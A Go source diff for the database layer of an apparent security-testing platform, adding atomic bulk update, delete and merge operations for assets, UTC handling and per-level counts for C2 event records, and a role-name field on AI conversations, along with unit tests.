tags, _ := json.Marshal(a.Tags)
where, args := appendAssetAccess(" WHERE id = ?", []interface{}{id}, access, "assets")
res, err := db.Exec(`UPDATE assets SET dedup_key=?,project_id=?,host=?,ip=?,port=?,domain=?,protocol=?,title=?,server=?,country=?,province=?,city=?,source=?,source_query=?,status=?,tags_json=?,updated_at=?`+where,
append([]interface{}{key, nullIfEmpty(a.ProjectID), a.Host, a.IP, a.Port, a.Domain, a.Protocol, a.Title, a.Server, a.Country, a.Province, a.City, a.Source, a.SourceQuery, a.Status, string(tags), time.Now()}, args...)...)
res, err := db.Exec(`UPDATE assets SET dedup_key=?,project_id=?,host=?,ip=?,port=?,domain=?,protocol=?,title=?,server=?,country=?,province=?,city=?,
responsible_person=?,department=?,business_system=?,environment=?,criticality=?,source=?,source_query=?,status=?,tags_json=?,updated_at=?`+where,
append([]interface{}{key, nullIfEmpty(a.ProjectID), a.Host, a.IP, a.Port, a.Domain, a.Protocol, a.Title, a.Server, a.Country, a.Province, a.City,
a.ResponsiblePerson, a.Department, a.BusinessSystem, a.Environment, a.Criticality, a.Source, a.SourceQuery, a.Status, string(tags), time.Now()}, args...)...)
if err != nil {
return err
}
@@ -632,10 +765,18 @@ func (db *DB) UpdateAsset(id string, a *Asset, access RBACListAccess) error {
return nil
}
// UpdateAssetsProject atomically replaces the project binding for every asset.
// It refuses the whole update when any requested asset is missing or outside
// the caller's access scope, so a bulk action can never partially succeed.
func (db *DB) UpdateAssetsProject(ids []string, projectID string, access RBACListAccess) (int, error) {
type AssetBulkPatch struct {
Status *string
ResponsiblePerson *string
Department *string
BusinessSystem *string
Environment *string
Criticality *string
AddTags []string
RemoveTags []string
}
func normalizeAssetIDs(ids []string) []string {
unique := make([]string, 0, len(ids))
seen := make(map[string]struct{}, len(ids))
for _, id := range ids {
@@ -649,6 +790,253 @@ func (db *DB) UpdateAssetsProject(ids []string, projectID string, access RBACLis
seen[id] = struct{}{}
unique = append(unique, id)
}
return unique
}
func normalizeBulkTags(tags []string) ([]string, error) {
seen := map[string]struct{}{}
result := make([]string, 0, len(tags))
for _, tag := range tags {
tag = strings.TrimSpace(tag)
if tag == "" {
continue
}
if utf8.RuneCountInString(tag) > 64 {
return nil, assetValidationErrorf("单个标签不能超过 64 个字符")
}
if _, exists := seen[tag]; exists {
continue
}
seen[tag] = struct{}{}
result = append(result, tag)
}
return result, nil
}
// UpdateAssetsBulk atomically applies operational metadata to a selected set.
func (db *DB) UpdateAssetsBulk(ids []string, patch AssetBulkPatch, access RBACListAccess) (int, error) {
unique := normalizeAssetIDs(ids)
if len(unique) == 0 {
return 0, fmt.Errorf("资产列表不能为空")
}
if patch.Status != nil {
value := strings.ToLower(strings.TrimSpace(*patch.Status))
if value != "active" && value != "inactive" {
return 0, assetValidationErrorf("资产状态必须为 active 或 inactive")
}
patch.Status = &value
}
if patch.Environment != nil {
value := strings.ToLower(strings.TrimSpace(*patch.Environment))
if !oneOfAssetValue(value, "", "production", "staging", "testing", "development", "other") {
return 0, assetValidationErrorf("环境值无效")
}
patch.Environment = &value
}
if patch.Criticality != nil {
value := strings.ToLower(strings.TrimSpace(*patch.Criticality))
if !oneOfAssetValue(value, "", "critical", "high", "medium", "low") {
return 0, assetValidationErrorf("重要性值无效")
}
patch.Criticality = &value
}
var err error
if patch.AddTags, err = normalizeBulkTags(patch.AddTags); err != nil {
return 0, err
}
if patch.RemoveTags, err = normalizeBulkTags(patch.RemoveTags); err != nil {
return 0, err
}
tx, err := db.Begin()
if err != nil {
return 0, err
}
defer tx.Rollback()
placeholders := strings.TrimSuffix(strings.Repeat("?,", len(unique)), ",")
idArgs := make([]interface{}, len(unique))
for i, id := range unique {
idArgs[i] = id
}
countQuery, countArgs := appendAssetAccess("SELECT COUNT(*) FROM assets WHERE id IN ("+placeholders+")", idArgs, access, "assets")
var accessible int
if err := tx.QueryRow(countQuery, countArgs...).Scan(&accessible); err != nil {
return 0, err
}
if accessible != len(unique) {
return 0, fmt.Errorf("部分资产不存在或无权更新")
}
for _, id := range unique {
var rawTags string
if err := tx.QueryRow("SELECT tags_json FROM assets WHERE id=?", id).Scan(&rawTags); err != nil {
return 0, err
}
tags := []string{}
_ = json.Unmarshal([]byte(rawTags), &tags)
remove := map[string]struct{}{}
for _, tag := range patch.RemoveTags {
remove[tag] = struct{}{}
}
merged := make([]string, 0, len(tags)+len(patch.AddTags))
seen := map[string]struct{}{}
for _, tag := range append(tags, patch.AddTags...) {
if _, removed := remove[tag]; removed {
continue
}
if _, exists := seen[tag]; exists {
continue
}
seen[tag] = struct{}{}
merged = append(merged, tag)
}
if len(merged) > 30 {
return 0, assetValidationErrorf("批量修改后标签不能超过 30 个")
}
tagsJSON, _ := json.Marshal(merged)
_, err := tx.Exec(`UPDATE assets SET
status=CASE WHEN ? THEN ? ELSE status END,
responsible_person=CASE WHEN ? THEN ? ELSE responsible_person END,
department=CASE WHEN ? THEN ? ELSE department END,
business_system=CASE WHEN ? THEN ? ELSE business_system END,
environment=CASE WHEN ? THEN ? ELSE environment END,
criticality=CASE WHEN ? THEN ? ELSE criticality END,
tags_json=?,updated_at=? WHERE id=?`,
patch.Status != nil, valueOrEmpty(patch.Status),
patch.ResponsiblePerson != nil, valueOrEmpty(patch.ResponsiblePerson),
patch.Department != nil, valueOrEmpty(patch.Department),
patch.BusinessSystem != nil, valueOrEmpty(patch.BusinessSystem),
patch.Environment != nil, valueOrEmpty(patch.Environment),
patch.Criticality != nil, valueOrEmpty(patch.Criticality),
string(tagsJSON), time.Now(), id)
if err != nil {
return 0, err
}
}
if err := tx.Commit(); err != nil {
return 0, err
}
return len(unique), nil
}
func valueOrEmpty(value *string) string {
if value == nil {
return ""
}
return strings.TrimSpace(*value)
}
func (db *DB) DeleteAssets(ids []string, access RBACListAccess) (int, error) {
unique := normalizeAssetIDs(ids)
if len(unique) == 0 {
return 0, fmt.Errorf("资产列表不能为空")
}
tx, err := db.Begin()
if err != nil {
return 0, err
}
defer tx.Rollback()
placeholders := strings.TrimSuffix(strings.Repeat("?,", len(unique)), ",")
args := make([]interface{}, len(unique))
for i, id := range unique {
args[i] = id
}
countQuery, countArgs := appendAssetAccess("SELECT COUNT(*) FROM assets WHERE id IN ("+placeholders+")", args, access, "assets")
var accessible int
if err := tx.QueryRow(countQuery, countArgs...).Scan(&accessible); err != nil {
return 0, err
}
if accessible != len(unique) {
return 0, fmt.Errorf("部分资产不存在或无权删除")
}
deleteQuery, deleteArgs := appendAssetAccess("DELETE FROM assets WHERE id IN ("+placeholders+")", args, access, "assets")
result, err := tx.Exec(deleteQuery, deleteArgs...)
if err != nil {
return 0, err
}
deleted, err := result.RowsAffected()
if err != nil || int(deleted) != len(unique) {
return 0, fmt.Errorf("批量删除资产失败")
}
if err := tx.Commit(); err != nil {
return 0, err
}
return int(deleted), nil
}
// MergeAssets atomically updates the surviving asset and removes duplicates.
// Separate access scopes preserve permission-specific RBAC boundaries.
func (db *DB) MergeAssets(primary *Asset, duplicateIDs []string, writeAccess, deleteAccess RBACListAccess) (int, error) {
if primary == nil || strings.TrimSpace(primary.ID) == "" {
return 0, fmt.Errorf("主资产不能为空")
}
normalizeAsset(primary)
if err := validateAsset(primary); err != nil {
return 0, err
}
duplicates := normalizeAssetIDs(duplicateIDs)
filtered := duplicates[:0]
for _, id := range duplicates {
if id != primary.ID {
filtered = append(filtered, id)
}
}
duplicates = filtered
if len(duplicates) == 0 {
return 0, fmt.Errorf("重复资产列表不能为空")
}
key := assetDedupKey(primary)
tagsJSON, _ := json.Marshal(primary.Tags)
tx, err := db.Begin()
if err != nil {
return 0, err
}
defer tx.Rollback()
primaryQuery, primaryArgs := appendAssetAccess("SELECT COUNT(*) FROM assets WHERE id=?", []interface{}{primary.ID}, writeAccess, "assets")
var primaryCount int
if err := tx.QueryRow(primaryQuery, primaryArgs...).Scan(&primaryCount); err != nil || primaryCount != 1 {
return 0, fmt.Errorf("主资产不存在或无权更新")
}
placeholders := strings.TrimSuffix(strings.Repeat("?,", len(duplicates)), ",")
deleteArgs := make([]interface{}, len(duplicates))
for i, id := range duplicates {
deleteArgs[i] = id
}
countQuery, countArgs := appendAssetAccess("SELECT COUNT(*) FROM assets WHERE id IN ("+placeholders+")", deleteArgs, deleteAccess, "assets")
var accessible int
if err := tx.QueryRow(countQuery, countArgs...).Scan(&accessible); err != nil || accessible != len(duplicates) {
return 0, fmt.Errorf("部分重复资产不存在或无权删除")
}
deleteQuery, scopedDeleteArgs := appendAssetAccess("DELETE FROM assets WHERE id IN ("+placeholders+")", deleteArgs, deleteAccess, "assets")
if result, err := tx.Exec(deleteQuery, scopedDeleteArgs...); err != nil {
return 0, err
} else if deleted, _ := result.RowsAffected(); int(deleted) != len(duplicates) {
return 0, fmt.Errorf("删除重复资产失败")
}
updateQuery, updateScopeArgs := appendAssetAccess(`UPDATE assets SET dedup_key=?,project_id=?,host=?,ip=?,port=?,domain=?,protocol=?,title=?,server=?,country=?,province=?,city=?,
responsible_person=?,department=?,business_system=?,environment=?,criticality=?,source=?,source_query=?,status=?,tags_json=?,updated_at=? WHERE id=?`,
[]interface{}{key, nullIfEmpty(primary.ProjectID), primary.Host, primary.IP, primary.Port, primary.Domain, primary.Protocol, primary.Title, primary.Server,
primary.Country, primary.Province, primary.City, primary.ResponsiblePerson, primary.Department, primary.BusinessSystem, primary.Environment,
primary.Criticality, primary.Source, primary.SourceQuery, primary.Status, string(tagsJSON), time.Now(), primary.ID}, writeAccess, "assets")
result, err := tx.Exec(updateQuery, updateScopeArgs...)
if err != nil {
return 0, err
}
if updated, _ := result.RowsAffected(); updated != 1 {
return 0, fmt.Errorf("更新主资产失败")
}
if err := tx.Commit(); err != nil {
return 0, err
}
return len(duplicates), nil
}
// UpdateAssetsProject atomically replaces the project binding for every asset.
// It refuses the whole update when any requested asset is missing or outside
// the caller's access scope, so a bulk action can never partially succeed.
func (db *DB) UpdateAssetsProject(ids []string, projectID string, access RBACListAccess) (int, error) {
unique := normalizeAssetIDs(ids)
if len(unique) == 0 {
return 0, fmt.Errorf("资产列表不能为空")
}
+128
View File
@@ -2,6 +2,7 @@ package database
import (
"path/filepath"
"strconv"
"strings"
"testing"
"time"
@@ -224,6 +225,133 @@ func TestUpdateAssetsProjectIsAtomicAndScoped(t *testing.T) {
}
}
func TestAssetAdvancedFiltersAndBulkMetadata(t *testing.T) {
db, err := NewDB(filepath.Join(t.TempDir(), "asset-advanced.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
project, err := db.CreateProject(&Project{Name: "Production", Status: "active"})
if err != nil {
t.Fatal(err)
}
input := []*Asset{
{ProjectID: project.ID, Domain: "critical.example.com", Port: 443, Protocol: "https", Country: "CN", ResponsiblePerson: "Alice", Department: "Security", BusinessSystem: "Portal", Environment: "production", Criticality: "critical", Tags: []string{"internet"}},
{ProjectID: project.ID, Domain: "dev.example.com", Port: 8080, Protocol: "http", Country: "US", Environment: "development", Criticality: "low"},
}
if result, err := db.UpsertAssets(input, "", true); err != nil || result.Created != 2 {
t.Fatalf("create assets: result=%#v err=%v", result, err)
}
conversation, err := db.CreateConversation("critical scan", ConversationCreateMeta{})
if err != nil {
t.Fatal(err)
}
if err := db.MarkAssetScanned(input[0].ID, conversation.ID, "", "", RBACListAccess{Scope: RBACScopeAll}); err != nil {
t.Fatal(err)
}
if _, err := db.CreateVulnerability(&Vulnerability{ConversationID: conversation.ID, Title: "critical finding", Severity: "critical", Target: input[0].Domain}); err != nil {
t.Fatal(err)
}
minVulns := 1
items, total, err := db.ListAssets(20, 0, AssetListFilter{
Status: "active", RiskLevel: "critical", MinVulnerabilities: &minVulns,
Country: "cn", Environment: "production", Criticality: "critical",
SortBy: "vulnerability_count", SortOrder: "desc",
}, RBACListAccess{Scope: RBACScopeAll})
if err != nil || total != 1 || len(items) != 1 {
t.Fatalf("advanced query: total=%d items=%#v err=%v", total, items, err)
}
if items[0].ResponsiblePerson != "Alice" || items[0].BusinessSystem != "Portal" || items[0].VulnerabilityCount != 1 {
t.Fatalf("metadata did not round-trip: %#v", items[0])
}
status := "inactive"
owner := "Bob"
environment := "staging"
updated, err := db.UpdateAssetsBulk([]string{input[0].ID, input[1].ID}, AssetBulkPatch{
Status: &status, ResponsiblePerson: &owner, Environment: &environment,
AddTags: []string{"review"}, RemoveTags: []string{"internet"},
}, RBACListAccess{Scope: RBACScopeAll})
if err != nil || updated != 2 {
t.Fatalf("bulk update: updated=%d err=%v", updated, err)
}
for _, id := range []string{input[0].ID, input[1].ID} {
item, err := db.GetAsset(id, RBACListAccess{Scope: RBACScopeAll})
if err != nil {
t.Fatal(err)
}
if item.Status != "inactive" || item.ResponsiblePerson != "Bob" || item.Environment != "staging" || len(item.Tags) != 1 || item.Tags[0] != "review" {
t.Fatalf("unexpected bulk metadata: %#v", item)
}
}
}
func TestListAssetsForOperationAndBatchDelete(t *testing.T) {
db, err := NewDB(filepath.Join(t.TempDir(), "asset-selection.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
for i := 1; i <= 3; i++ {
if _, err := db.UpsertAssets([]*Asset{{IP: "198.51.100." + strconv.Itoa(i), Port: 443, Protocol: "https", Tags: []string{"selected"}}}, "", true); err != nil {
t.Fatal(err)
}
}
items, total, err := db.ListAssetsForOperation(10, AssetListFilter{Tag: "selected"}, RBACListAccess{Scope: RBACScopeAll})
if err != nil || total != 3 || len(items) != 3 {
t.Fatalf("selection: total=%d len=%d err=%v", total, len(items), err)
}
ids := make([]string, 0, len(items))
for _, item := range items {
ids = append(ids, item.ID)
}
deleted, err := db.DeleteAssets(ids, RBACListAccess{Scope: RBACScopeAll})
if err != nil || deleted != 3 {
t.Fatalf("batch delete: deleted=%d err=%v", deleted, err)
}
}
func TestMergeAssetsIsAtomic(t *testing.T) {
db, err := NewDB(filepath.Join(t.TempDir(), "asset-merge.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
input := []*Asset{
{Domain: "merge.example.com", Port: 80, Protocol: "http", Title: "Primary", Tags: []string{"one"}},
{Domain: "merge.example.com", Port: 443, Protocol: "https", ResponsiblePerson: "Alice", Tags: []string{"two"}},
}
if _, err := db.UpsertAssets(input, "", true); err != nil {
t.Fatal(err)
}
primary, err := db.GetAsset(input[0].ID, RBACListAccess{Scope: RBACScopeAll})
if err != nil {
t.Fatal(err)
}
primary.ResponsiblePerson = "Alice"
primary.Tags = []string{"one", "two"}
merged, err := db.MergeAssets(primary, []string{input[1].ID}, RBACListAccess{Scope: RBACScopeAll}, RBACListAccess{Scope: RBACScopeAll})
if err != nil || merged != 1 {
t.Fatalf("merge: merged=%d err=%v", merged, err)
}
items, total, err := db.ListAssets(10, 0, AssetListFilter{}, RBACListAccess{Scope: RBACScopeAll})
if err != nil || total != 1 || len(items) != 1 || items[0].ResponsiblePerson != "Alice" || len(items[0].Tags) != 2 {
t.Fatalf("unexpected merged asset: total=%d items=%#v err=%v", total, items, err)
}
before := items[0].Title
items[0].Title = "Must roll back"
if _, err := db.MergeAssets(items[0], []string{"missing"}, RBACListAccess{Scope: RBACScopeAll}, RBACListAccess{Scope: RBACScopeAll}); err == nil {
t.Fatal("merge with missing duplicate unexpectedly succeeded")
}
after, err := db.GetAsset(items[0].ID, RBACListAccess{Scope: RBACScopeAll})
if err != nil || after.Title != before {
t.Fatalf("failed merge was not atomic: asset=%#v err=%v", after, err)
}
}
func TestAssetScanLinkReturnsTimeAndRelatedVulnerabilities(t *testing.T) {
db, err := NewDB(filepath.Join(t.TempDir(), "asset-scan.db"), zap.NewNop())
if err != nil {
+33 -4
View File
@@ -1387,7 +1387,9 @@ func (db *DB) AppendC2Event(e *C2Event) error {
return errors.New("event id is required")
}
if e.CreatedAt.IsZero() {
e.CreatedAt = time.Now()
e.CreatedAt = time.Now().UTC()
} else {
e.CreatedAt = e.CreatedAt.UTC()
}
if strings.TrimSpace(e.Level) == "" {
e.Level = "info"
@@ -1402,7 +1404,7 @@ func (db *DB) AppendC2Event(e *C2Event) error {
INSERT INTO c2_events (id, level, category, session_id, task_id, message, data_json, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, e.CreatedAt)
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, formatSQLiteUTC(e.CreatedAt))
return err
}
@@ -1437,8 +1439,8 @@ func buildC2EventsWhere(filter ListC2EventsFilter) (where string, args []interfa
args = append(args, filter.TaskID)
}
if filter.Since != nil {
conditions = append(conditions, "created_at >= ?")
args = append(args, *filter.Since)
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
args = append(args, formatSQLiteUTC(*filter.Since))
}
return strings.Join(conditions, " AND "), args
}
@@ -1510,6 +1512,33 @@ func (db *DB) CountC2EventsForAccess(filter ListC2EventsFilter, access RBACListA
return n, err
}
// CountC2EventsByLevelForAccess 与 ListC2Events 相同过滤条件下按级别统计
func (db *DB) CountC2EventsByLevelForAccess(filter ListC2EventsFilter, access RBACListAccess) (map[string]int64, error) {
where, args := buildC2EventsWhereForAccess(filter, access)
query := `SELECT level, COUNT(*) FROM c2_events WHERE ` + where + ` GROUP BY level`
rows, err := db.Query(query, args...)
if err != nil {
return nil, err
}
defer rows.Close()
counts := map[string]int64{
"info": 0,
"warn": 0,
"critical": 0,
}
for rows.Next() {
var level string
var n int64
if err := rows.Scan(&level, &n); err != nil {
continue
}
if _, ok := counts[level]; ok {
counts[level] = n
}
}
return counts, rows.Err()
}
// ListC2Events 事件查询,按创建时间倒序
func (db *DB) ListC2Events(filter ListC2EventsFilter) ([]*C2Event, error) {
where, args := buildC2EventsWhere(filter)
+69 -95
View File
@@ -22,6 +22,7 @@ type Conversation struct {
ID string `json:"id"`
Title string `json:"title"`
ProjectID string `json:"projectId,omitempty"`
RoleName string `json:"roleName,omitempty"`
Pinned bool `json:"pinned"`
CreatedAt time.Time `json:"createdAt"`
UpdatedAt time.Time `json:"updatedAt"`
@@ -57,29 +58,30 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
return nil, err
}
}
roleName := normalizeConversationRoleName(meta.RoleName)
var err error
wsID := strings.TrimSpace(webshellConnectionID)
switch {
case wsID != "" && projectID != "":
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id) VALUES (?, ?, ?, ?, ?, ?)",
id, title, now, now, wsID, projectID,
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?, ?)",
id, title, now, now, wsID, projectID, roleName,
)
case wsID != "":
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, wsID,
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
id, title, now, now, wsID, roleName,
)
case projectID != "":
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, project_id) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, projectID,
"INSERT INTO conversations (id, title, created_at, updated_at, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
id, title, now, now, projectID, roleName,
)
default:
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
id, title, now, now,
"INSERT INTO conversations (id, title, created_at, updated_at, role_name) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, roleName,
)
}
if err != nil {
@@ -90,6 +92,7 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
ID: id,
Title: title,
ProjectID: projectID,
RoleName: roleName,
CreatedAt: now,
UpdatedAt: now,
}
@@ -236,10 +239,11 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
var pinned int
var projectID sql.NullString
var roleName sql.NullString
err := db.QueryRow(
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
id,
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
if err != nil {
if err == sql.ErrNoRows {
return nil, fmt.Errorf("对话不存在")
@@ -249,6 +253,9 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
// 尝试多种时间格式解析
var err1, err2 error
@@ -322,10 +329,11 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
var pinned int
var projectID sql.NullString
var roleName sql.NullString
err := db.QueryRow(
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
id,
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
if err != nil {
if err == sql.ErrNoRows {
return nil, fmt.Errorf("对话不存在")
@@ -335,6 +343,9 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
// 尝试多种时间格式解析
var err1, err2 error
@@ -365,6 +376,26 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
return &conv, nil
}
func normalizeConversationRoleName(roleName string) string {
roleName = strings.TrimSpace(roleName)
if roleName == "" {
return "默认"
}
return roleName
}
func (db *DB) SetConversationRoleName(id, roleName string) error {
roleName = normalizeConversationRoleName(roleName)
_, err := db.Exec(
"UPDATE conversations SET role_name = ?, updated_at = ? WHERE id = ?",
roleName, time.Now(), id,
)
if err != nil {
return fmt.Errorf("更新对话角色失败: %w", err)
}
return nil
}
func conversationProjectIDColumn(alias string) string {
if alias != "" {
return alias + ".project_id"
@@ -489,7 +520,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
where, args = appendConversationProjectFilter(where, args, projectID, "c")
args = append(args, limit, offset)
rows, err = db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
FROM conversations c`+where+`
`+orderClause+`
LIMIT ? OFFSET ?`,
@@ -505,7 +536,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
}
args = append(args, limit, offset)
rows, err = db.Query(
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
args...,
)
}
@@ -514,45 +545,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
return nil, fmt.Errorf("查询对话列表失败: %w", err)
}
defer rows.Close()
var conversations []*Conversation
for rows.Next() {
var conv Conversation
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
// 尝试多种时间格式解析
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
}
if err1 != nil {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
if err2 != nil {
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
}
if err2 != nil {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
conv.Pinned = pinned != 0
conversations = append(conversations, &conv)
}
return conversations, nil
return scanConversationRows(rows)
}
func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
@@ -571,7 +564,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
args = append(args, limit, offset)
rows, err = db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
FROM conversations c`+where+`
`+orderClause+`
LIMIT ? OFFSET ?`, args...)
@@ -586,7 +579,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
}
args = append(args, limit, offset)
rows, err = db.Query(
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
args...)
}
if err != nil {
@@ -603,12 +596,16 @@ func scanConversationRows(rows *sql.Rows) ([]*Conversation, error) {
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
var roleName sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
@@ -668,7 +665,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
where, args = appendConversationProjectFilter(where, args, projectID, "c")
args = append(args, limit, offset)
rows, err := db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
where+`
`+orderClause+`
LIMIT ? OFFSET ?`,
@@ -678,43 +675,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
}
defer rows.Close()
var conversations []*Conversation
for rows.Next() {
var conv Conversation
var createdAt, updatedAt string
var pinned int
var projectID sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
return nil, fmt.Errorf("扫描对话失败: %w", err)
}
if projectID.Valid {
conv.ProjectID = strings.TrimSpace(projectID.String)
}
var err1, err2 error
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
if err1 != nil {
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
}
if err1 != nil {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
if err2 != nil {
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
}
if err2 != nil {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
conv.Pinned = pinned != 0
conversations = append(conversations, &conv)
}
return conversations, rows.Err()
return scanConversationRows(rows)
}
func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
@@ -728,7 +689,7 @@ func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, pro
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
args = append(args, limit, offset)
rows, err := db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
where+`
`+orderClause+`
LIMIT ? OFFSET ?`,
@@ -861,6 +822,19 @@ func (db *DB) einoReductionBaseDir() string {
return filepath.Join("tmp", "reduction")
}
// EinoReductionBaseDir returns the configured reduction cache root.
func (db *DB) EinoReductionBaseDir() string {
return db.einoReductionBaseDir()
}
// ConversationArtifactsBaseDir returns the conversation-scoped artifacts root.
func (db *DB) ConversationArtifactsBaseDir() string {
if db == nil {
return ""
}
return strings.TrimSpace(db.conversationArtifactsDir)
}
func (db *DB) einoWorkspaceBaseDir() string {
if db == nil {
return ""
@@ -5,6 +5,7 @@ type ConversationCreateMeta struct {
Source string
WebShellConnectionID string
ProjectID string
RoleName string
ClientIP string
SessionHint string
}
+47
View File
@@ -183,6 +183,7 @@ func (db *DB) initTables() error {
title TEXT NOT NULL,
created_at DATETIME NOT NULL,
updated_at DATETIME NOT NULL,
role_name TEXT NOT NULL DEFAULT '默认',
last_react_input TEXT,
last_react_output TEXT
);`
@@ -226,6 +227,10 @@ func (db *DB) initTables() error {
start_time DATETIME NOT NULL,
end_time DATETIME,
duration_ms INTEGER,
partial_output TEXT,
partial_output_bytes INTEGER NOT NULL DEFAULT 0,
partial_output_truncated INTEGER NOT NULL DEFAULT 0,
partial_output_updated_at DATETIME,
owner_user_id TEXT,
conversation_id TEXT,
